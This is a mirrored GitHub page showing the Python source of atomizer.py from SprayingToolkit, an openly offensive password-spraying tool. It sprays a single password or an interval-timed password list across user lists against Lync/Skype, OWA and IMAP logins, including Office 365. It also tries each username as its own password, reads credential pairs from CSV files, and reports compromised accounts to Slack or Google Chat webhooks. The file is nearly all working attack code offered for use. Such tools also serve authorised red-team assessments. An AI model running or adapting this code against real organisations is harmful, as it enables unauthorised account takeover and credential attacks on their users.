mirror of
https://github.com/byt3bl33d3r/SprayingToolkit
synced 2026-06-08 13:24:39 +00:00
231 lines
8.6 KiB
Python
Executable File
231 lines
8.6 KiB
Python
Executable File
#!/usr/bin/env python3
|
|
|
|
"""
|
|
Usage:
|
|
atomizer (lync|owa|imap) <target> <password> <userfile> [--targetPort PORT] [--threads THREADS] [--debug]
|
|
atomizer (lync|owa|imap) <target> <passwordfile> <userfile> --interval <TIME> [--gchat <URL>] [--slack <URL>] [--targetPort PORT][--threads THREADS] [--debug]
|
|
atomizer (lync|owa|imap) <target> --csvfile CSVFILE [--user-row-name NAME] [--pass-row-name NAME] [--targetPort PORT] [--threads THREADS] [--debug]
|
|
atomizer (lync|owa|imap) <target> --user-as-pass USERFILE [--targetPort PORT] [--threads THREADS] [--debug]
|
|
atomizer (lync|owa|imap) <target> --recon [--debug]
|
|
atomizer -h | --help
|
|
atomizer -v | --version
|
|
|
|
Arguments:
|
|
target target domain or url
|
|
password password to spray
|
|
userfile file containing usernames (one per line)
|
|
passwordfile file containing passwords (one per line)
|
|
|
|
Options:
|
|
-h, --help show this screen
|
|
-v, --version show version
|
|
-c, --csvfile CSVFILE csv file containing usernames and passwords
|
|
-i, --interval TIME spray at the specified interval [format: "H:M:S"]
|
|
-t, --threads THREADS number of concurrent threads to use [default: 3]
|
|
-d, --debug enable debug output
|
|
-p, --targetPort PORT target port of the IMAP server (IMAP only) [default: 993]
|
|
--recon only collect info, don't password spray
|
|
--gchat URL gchat webhook url for notification
|
|
--slack URL slack webhook url for notification
|
|
--user-row-name NAME username row title in CSV file [default: Email Address]
|
|
--pass-row-name NAME password row title in CSV file [default: Password]
|
|
--user-as-pass USERFILE use the usernames in the specified file as the password (one per line)
|
|
"""
|
|
|
|
import logging
|
|
import signal
|
|
import asyncio
|
|
import concurrent.futures
|
|
import sys
|
|
import csv
|
|
from functools import partial
|
|
from pathlib import Path
|
|
from docopt import docopt
|
|
from core.utils.messages import *
|
|
from core.sprayers import Lync, OWA, IMAP
|
|
from core.utils.time import countdown_timer, get_utc_time
|
|
from core.webhooks import gchat, slack
|
|
|
|
|
|
class Atomizer:
|
|
def __init__(self, loop, target, threads=3, debug=False):
|
|
self.loop = loop
|
|
self.target = target
|
|
self.sprayer = None
|
|
self.threads = int(threads)
|
|
self.debug = debug
|
|
|
|
log_format = '%(threadName)10s %(name)18s: %(message)s' if debug else '%(message)s'
|
|
|
|
logging.basicConfig(
|
|
level=logging.DEBUG if debug else logging.INFO,
|
|
format=log_format,
|
|
stream=sys.stderr,
|
|
)
|
|
|
|
self.executor = concurrent.futures.ThreadPoolExecutor(
|
|
max_workers=self.threads,
|
|
)
|
|
|
|
def lync(self):
|
|
self.sprayer = Lync(
|
|
target=self.target
|
|
)
|
|
|
|
def owa(self):
|
|
self.sprayer = OWA(
|
|
target=self.target
|
|
)
|
|
|
|
def imap(self, port):
|
|
self.sprayer = IMAP(
|
|
target=self.target,
|
|
port=port
|
|
)
|
|
|
|
async def atomize(self, userfile, password):
|
|
log = logging.getLogger('atomize')
|
|
log.debug('atomizing...')
|
|
|
|
auth_function = self.sprayer.auth_O365 if self.sprayer.O365 else self.sprayer.auth
|
|
|
|
log.debug('creating executor tasks')
|
|
logging.info(print_info(f"Starting spray at {get_utc_time()} UTC"))
|
|
blocking_tasks = [
|
|
self.loop.run_in_executor(self.executor, partial(auth_function, username=username.strip(), password=password))
|
|
for username in userfile
|
|
]
|
|
|
|
log.debug('waiting for executor tasks')
|
|
await asyncio.wait(blocking_tasks)
|
|
log.debug('exiting')
|
|
|
|
async def atomize_csv(self, csvreader: csv.DictReader, user_row_name='Email Address', pass_row_name='Password'):
|
|
log = logging.getLogger('atomize_csv')
|
|
log.debug('atomizing...')
|
|
|
|
auth_function = self.sprayer.auth_O365 if self.sprayer.O365 else self.sprayer.auth
|
|
|
|
log.debug('creating executor tasks')
|
|
logging.info(print_info(f"Starting spray at {get_utc_time()} UTC"))
|
|
blocking_tasks = [
|
|
self.loop.run_in_executor(self.executor, partial(auth_function, username=row[user_row_name], password=row[pass_row_name]))
|
|
for row in csvreader
|
|
]
|
|
|
|
log.debug('waiting for executor tasks')
|
|
await asyncio.wait(blocking_tasks)
|
|
log.debug('exiting')
|
|
|
|
async def atomize_user_as_pass(self, userfile):
|
|
log = logging.getLogger('atomize_user_as_pass')
|
|
log.debug('atomizing...')
|
|
|
|
auth_function = self.sprayer.auth_O365 if self.sprayer.O365 else self.sprayer.auth
|
|
|
|
log.debug('creating executor tasks')
|
|
logging.info(print_info(f"Starting spray at {get_utc_time()} UTC"))
|
|
blocking_tasks = [
|
|
self.loop.run_in_executor(self.executor, partial(auth_function, username=username.strip(), password=username.strip().split('\\')[-1:][0]))
|
|
for username in userfile
|
|
]
|
|
|
|
log.debug('waiting for executor tasks')
|
|
await asyncio.wait(blocking_tasks)
|
|
log.debug('exiting')
|
|
|
|
def shutdown(self):
|
|
self.sprayer.shutdown()
|
|
|
|
def add_handlers(loop, callback):
|
|
for sig in (signal.SIGINT, signal.SIGTERM):
|
|
loop.add_signal_handler(sig, callback)
|
|
|
|
def remove_handlers(loop):
|
|
for sig in (signal.SIGINT, signal.SIGTERM):
|
|
loop.remove_signal_handler(sig)
|
|
|
|
if __name__ == "__main__":
|
|
args = docopt(__doc__, version="1.0.0dev")
|
|
loop = asyncio.get_event_loop()
|
|
|
|
atomizer = Atomizer(
|
|
loop=loop,
|
|
target=args['<target>'].lower(),
|
|
threads=args['--threads'],
|
|
debug=args['--debug']
|
|
)
|
|
|
|
logging.debug(args)
|
|
|
|
for input_file in [args['<userfile>'], args['--csvfile'], args['--user-as-pass']]:
|
|
if input_file:
|
|
file_path = Path(input_file)
|
|
if not file_path.exists() or not file_path.is_file():
|
|
logging.error(print_bad("Path to <userfile>/--csvfile/--user-as-pass invalid!"))
|
|
sys.exit(1)
|
|
|
|
if args['lync']:
|
|
atomizer.lync()
|
|
elif args['owa']:
|
|
atomizer.owa()
|
|
elif args['imap']:
|
|
atomizer.imap(args['--targetPort'])
|
|
|
|
if not args['--recon']:
|
|
add_handlers(loop, atomizer.shutdown)
|
|
|
|
if args['--interval']:
|
|
popped_accts = 0
|
|
with open(args['<passwordfile>']) as passwordfile:
|
|
password = passwordfile.readline()
|
|
while password != "":
|
|
with open(args['<userfile>']) as userfile:
|
|
loop.run_until_complete(
|
|
atomizer.atomize(
|
|
userfile=userfile,
|
|
password=password.strip()
|
|
)
|
|
)
|
|
|
|
if popped_accts != len(atomizer.sprayer.valid_accounts):
|
|
popped_accts = len(atomizer.sprayer.valid_accounts)
|
|
|
|
if args['--gchat']:
|
|
gchat(args['--gchat'], args['<target>'], atomizer.sprayer)
|
|
if args['--slack']:
|
|
slack(args['--slack'], args['<target>'], atomizer.sprayer)
|
|
|
|
password = passwordfile.readline()
|
|
if password:
|
|
remove_handlers(loop) # Intercept signals.
|
|
# Wait for next interval and abort if the user hits Ctrl-C.
|
|
if not countdown_timer(*args['--interval'].split(':')): break
|
|
add_handlers(loop, atomizer.shutdown)
|
|
|
|
elif args['<userfile>']:
|
|
with open(args['<userfile>']) as userfile:
|
|
loop.run_until_complete(
|
|
atomizer.atomize(
|
|
userfile=userfile,
|
|
password=args['<password>']
|
|
)
|
|
)
|
|
|
|
elif args['--csvfile']:
|
|
with open(args['--csvfile']) as csvfile:
|
|
reader = csv.DictReader(csvfile)
|
|
loop.run_until_complete(
|
|
atomizer.atomize_csv(
|
|
csvreader=reader,
|
|
user_row_name=args['--user-row-name'],
|
|
pass_row_name=args['--pass-row-name']
|
|
)
|
|
)
|
|
|
|
elif args['--user-as-pass']:
|
|
with open(args['--user-as-pass']) as userfile:
|
|
loop.run_until_complete(atomizer.atomize_user_as_pass(userfile))
|
|
|
|
atomizer.shutdown()
|